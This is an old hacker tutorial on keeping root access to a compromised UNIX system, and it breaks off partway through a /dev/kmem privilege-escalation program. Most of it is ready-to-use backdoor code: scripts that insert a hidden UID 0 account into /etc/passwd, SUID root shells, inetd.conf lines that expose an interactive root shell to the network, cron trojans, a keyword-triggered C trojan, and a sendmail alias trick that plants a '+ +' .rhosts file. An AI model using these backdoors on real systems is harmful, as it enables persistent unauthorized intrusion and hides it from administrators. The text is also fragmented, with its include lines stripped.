Ok.....
You've been at it for all night. Trying all the exploits
you can think of. The system seems tight. The system
looks tight.
The
system *is* tight. You've tried everything. Default
passwds, guessable passwds, NIS
weaknesses, NFS
holes, incorrect
permissions,
race conditions, SUID exploits, Sendmail bugs, and so
on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
After
seeming endless toiling, you've managed to steal root.
Now what? How do you hold onto this precious super-user
privilege
you have worked so hard to achieve....?
This
article is intended to show you how to hold onto root
once you have it. It is intended for hackers and administrators
alike.
From
a hacking perspective, it is obvious what good this
paper will do you. Admin's can likewise benefit from
this paper. Ever
wonder
how that pesky hacker always manages to pop up, even
when you think you've completely eradicated him from
your
system?
This
list is BY NO MEANS comprehensive. There are as many
ways to leave backdoors into a UNIX computer as there
are
ways
into one.
Beforehand
Know
the location of critical system files. This should be
obvious (If you can't list any of the top of your head,
stop reading
now,
get a book on UNIX, read it, then come back to me...).
Familiarity with passwd file formats (including general
7 field
format,
system specific naming conventions, shadowing mechanisms,
etc...). Know vi. Many systems will not have those
robust,
user-friendly editors such as Pico and Emacs. Vi is
also quite useful for needing to quickly seach and edit
a large file. If
you
are connecting remotely (via dial-up/telnet/rlogin/whatver)
it's always nice to have a robust terminal program that
has a
nice,
FAT scrollback buffer. This will come in handy if you
want to cut and paste code, rc files, shell scripts,
etc...
The
permenance of these backdoors will depend completely
on the technical saavy of the administrator. The experienced
and
skilled
administrator will be wise to many (if not all) of these
backdoors. But, if you have managed to steal root, it
is likely the
admin
isn't as skilled (or up to date on bug reports) as she
should be, and many of these doors may be in place for
some time
to
come. One major thing to be aware of, is the fact that
if you can cover you tracks during the initial break-in,
no one will be
looking
for back doors.
The
Overt
[1]
Add a UID 0 account to the passwd file. This is probably
the most obvious and quickly discovered method of rentry.
It
flies
a red flag to the admin, saying "WE'RE UNDER ATTACK!!!".
If you must do this, my advice is DO NOT simply
prepend
or append it. Anyone causally examining the passwd file
will see this. So, why not stick it in the middle...
#!/bin/csh
#
Inserts a UID 0 account into the middle of the passwd
file.
#
There is likely a way to do this in 1/2 a line of AWK
or SED. Oh well.
#
daemon9@netcom.com
set
linecount = `wc -l /etc/passwd`
cd
# Do this at home.
cp
/etc/passwd ./temppass # Safety first.
echo
passwd file has $linecount[1] lines.
@
linecount[1] /= 2
@
linecount[1] += 1 # we only want
2 temp files
echo
Creating two files, $linecount[1] lines each \(or approximately
that\).
split
-$linecount[1] ./temppass # passwd string optional
echo
"EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh"
>> ./xaa
cat
./xab >> ./xaa
mv
./xaa /etc/passwd
chmod
644 /etc/passwd # or whatever it
was beforehand
rm
./xa* ./temppass
echo
Done...
NEVER,
EVER, change the root password. The reasons are obvious.
[2]
In a similar vein, enable a disabled account as UID
0, such as Sync. Or, perhaps, an account somwhere buried
deep in the
passwd
file has been abandoned, and disabled by the sysadmin.
Change her UID to 0 (and remove the '*' from the second
field).
[3]
Leave an SUID root shell in /tmp.
#!/bin/sh
#
Everyone's favorite...
cp
/bin/csh /tmp/.evilnaughtyshell # Don't name it
that...
chmod
4755 /tmp/.evilnaughtyshell
Many
systems run cron jobs to clean /tmp nightly. Most systems
clean /tmp upon a reboot. Many systems have /tmp mounted
to
disallow SUID programs from executing. You can change
all of these, but if the filesystem starts filling up,
people may
notice...but,
hey, this *is* the overt section....). I will not detail
the changes neccessary because they can be quite system
specific.
Check out /var/spool/cron/crontabs/root and /etc/fstab.
The
Veiled
[4]
The super-server configuration file is not the first
place a sysadmin will look, so why not put one there?
First, some
background
info: The Internet daemon (/etc/inetd) listens for connection
requests on TCP and UDP ports and spawns the
appropriate
program (usally a server) when a connection request
arrives. The format of the /etc/inetd.conf file is simple.
Typical
lines
look like this:
(1)
(2) (3) (4) (5) (6)
(7)
ftp
stream tcp nowait root /usr/etc/ftpd
ftpd
talk
dgram udp wait root /usr/etc/ntalkd
ntalkd
Field
(1) is the daemon name that should appear in /etc/services.
This tells inetd what to look for in /etc/services to
determine
which
port it should associate the program name with. (2)
tells inetd which type of socket connection the daemon
will expect.
TCP
uses streams, and UDP uses datagrams. Field (3) is the
protocol field which is either of the two transport
protocols, TCP
or
UDP. Field (4) specifies whether or not the daemon is
iterative or concurrent. A 'wait' flag indicates that
the server will
process
a connection and make all subsequent connections wait.
'Nowait' means the server will accept a connection,
spawn a
child
process to handle the connection, and then go back to
sleep, waiting for further connections. Field (5) is
the user (or more
inportantly,
the UID) that the daemon is run as. (6) is the program
to run when a connection arrives, and (7) is the actual
command
(and optional arguments). If the program is trivial
(usally requiring no user interaction) inetd may handle
it internally.
This
is done with an 'internal' flag in fields (6) and (7).
So,
to install a handy backdoor, choose a service that is
not used often, and replace the daemon that would normally
handle it
with
something else. A program that creates an SUID root
shell, a program that adds a root account for you in
the /etc/passwd
file,
etc...
For
the insinuation-impaired, try this:
Open
the /etc/inetd.conf in an available editor. Find the
line that reads:
daytime stream tcp nowait root internal
and
change it to:
daytime stream tcp nowait /bin/sh sh -i.
You
now need to restart /etc/inetd so it will reread the
config file. It is up to you how you want to do this.
You can kill and
restart
the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd)
which will interuppt ALL network connections (so it
is a good idea
to
do this off peak hours).
[5]
An option to compromising a well known service would
be to install a new one, that runs a program of your
choice. One
simple
solution is to set up a shell the runs similar to the
above backdoor. You need to make sure the entry appears
in
/etc/services
as well as in /etc/inetd.conf. The format of the /etc/services
file is simple:
(1)
(2)/(3) (4)
smtp
25/tcp mail
Field
(1) is the service, field (2) is the port number, (3)
is the protocol type the service expects, and (4) is
the common name
associated
with the service. For instance, add this line to /etc/services:
evil 22/tcp evil
and
this line to /etc/inetd.conf:
evil stream tcp nowait /bin/sh sh -i
Restart
inetd as before.
Note:
Potentially, these are a VERY powerful backdoors. They
not only offer local rentry from any account on the
system,
they
offer rentry from *any* account on *any* computer on
the Internet.
[6]
Cron-based trojan I. Cron is a wonderful system administration
tool. It is also a wonderful tool for backdoors, since
root's
crontab
will, well, run as root... Again, depending on the level
of experience of the sysadmin (and the implementation),
this
backdoor
may or may not last. /var/spool/cron/crontabs/root is
where root's list for crontabs is usally located. Here,
you have
several
options. I will list a only few, as cron-based backdoors
are only limited by your imagination. Cron is the clock
daemon.
It
is a tool for automatically executing commands at specified
dates and times. Crontab is the command used to add,
remove,
or
view your crontab entries. It is just as easy to manually
edit the /var/spool/crontab/root file as it is to use
crontab. A crontab
entry
has six fields:
(1)
(2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields
(1)-(5) are as follows: minute (0-59), hour (0-23),
day of the month (1-31) month of the year (1-12), day
of the week
(0-6).
Field (6) is the command (or shell script) to execute.
The above shell script is executed on Mondays. To exploit
cron,
simply
add an entry into /var/spool/crontab/root. For example:
You can have a cronjob that will run daily and look
in the
/etc/passwd
file for the UID 0 account we previously added, and
add him if he is missing, or do nothing otherwise (it
may not
be
a bad idea to actually *insert* this shell code into
an already installed crontab entry shell script, to
further obfuscate your
shady
intentions). Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This
is the shell script:
#!/bin/csh
#
Is our eviluser still on the system? Let's make sure
he is.
#daemon9@netcom.com
set
evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag
== 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at
home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want
2 temp files
split -$linecount[1] ./temppass # passwd string
optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh"
>> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever
it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
[7]
Cron-based trojan II. This one was brought to my attention
by our very own Mr. Zippy. For this, you need a copy
of the
/etc/passwd
file hidden somewhere. In this hidden passwd file (call
it /var/spool/mail/.sneaky) we have but one entry, a
root
account
with a passwd of your choosing. We run a cronjob that
will, every morning at 2:30am
(or every other
morning), save a
copy
of the real /etc/passwd file, and install this trojan
one as the real /etc/passwd file for one minute (synchronize
swatches!).
Any
normal user or process trying to login or access the
/etc/passwd file would get an error, but one minute
later, everything
would
be ok. Add this line to root's crontab file:
29 2 * * * /bin/usr/sneakysneaky_passwd
make
sure this exists:
#echo
"root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
and
this is the simple shell script:
#!/bin/csh
#
Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp
/etc/passwd /etc/.temppass
cp
/var/spool/mail/.sneaky /etc/passwd
sleep
60
mv
/etc/.temppass /etc/passwd
[8]
Compiled code trojan. Simple idea. Instead of a shell
script, have some nice C code to obfuscate the effects.
Here it is.
Make
sure it runs as root. Name it something innocous. Hide
it well.
/*
A little trojan to create an SUID root shell, if the
proper argument is
given.
C code, rather than shell to hide obvious it's effects.
*/
/*
daemon9@netcom.com */
#include
#define
KEYWORD "industry3"
#define
BUFFERSIZE 10
int
main(argc, argv)
int
argc;
char
*argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is
it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&");
*/
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
}
/* End main */
[9]
The sendmail aliases file. The sendmail aliases file
allows for mail sent to a particular username to either
expand to several
users,
or perhaps pipe the output to a program. Most well known
of these is the uudecode alias trojan. Simply add the
line:
"decode: "|/usr/bin/uudecode"
to
the /etc/aliases file. Usally, you would then create
a uuencoded .rhosts file with the full pathname embedded.
#!
/bin/csh
#
Create our .rhosts file. Note this will output to
stdout.
echo
"+ +" > tmpfile
/usr/bin/uuencode
tmpfile /root/.rhosts
Next
telnet to the desired site, port 25. Simply fakemail
to decode and use as the subject body, the uuencoded
version of the
.rhosts
file. For a one liner (not faked, however) do this:
%echo
"+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
You
can be as creative as you wish in this case. You can
setup an alias that, when mailed to, will run a program
of your
choosing.
Many of the previous scripts and methods can be employed
here.
The
Covert
[10]
Trojan code in common programs. This is a rather sneaky
method that is really only detectable by programs such
tripwire.
The
idea is simple: insert trojan code in the source of
a commonly used program. Some of most useful programs
to us in this
case
are su, login and passwd because they already run SUID
root, and need no permission modification. Below are
some
general
examples of what you would want to do, after obtaining
the correct sourcecode for the particular flavor of
UNIX you
are
backdooring. (Note: This may not always be possible,
as some UNIX vendors are not so generous with thier
sourcecode.)
Since
the code is very lengthy and different for many flavors,
I will just include basic psuedo-code:
get
input;
if
input is special hardcoded flag, spawn evil trojan;
else
if input is valid, continue;
else
quit with error;
...
Not
complex or difficult. Trojans of this nature can be
done in less than 10 lines of additional code.
The
Esoteric
[11]
/dev/kmem exploit. It represents the virtual of the
system. Since the kernel keeps it's parameters in memory,
it is possible
to
modify the memory of the machine to change the UID of
your processes. To do so requires that /dev/kmem have
read/write
permission.
The following steps are executed: Open the /dev/kmem
device, seek to your page in memory, overwrite the UID
of
your
current process, then spawn a csh, which will inherit
this UID. The following program does just that.
/*
If /kmem is is readable and writable, this program will
change the user's
UID
and GID to 0. */
/*
This code originally appeared in "UNIX security: A
practical tutorial"
with
some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define
KEYWORD "nomenclature1"
struct
user userpage;
long
address(), userlocation;
int
main(argc, argv, envp)
int
argc;
char
*argv[], *envp[];{
int count, fd; |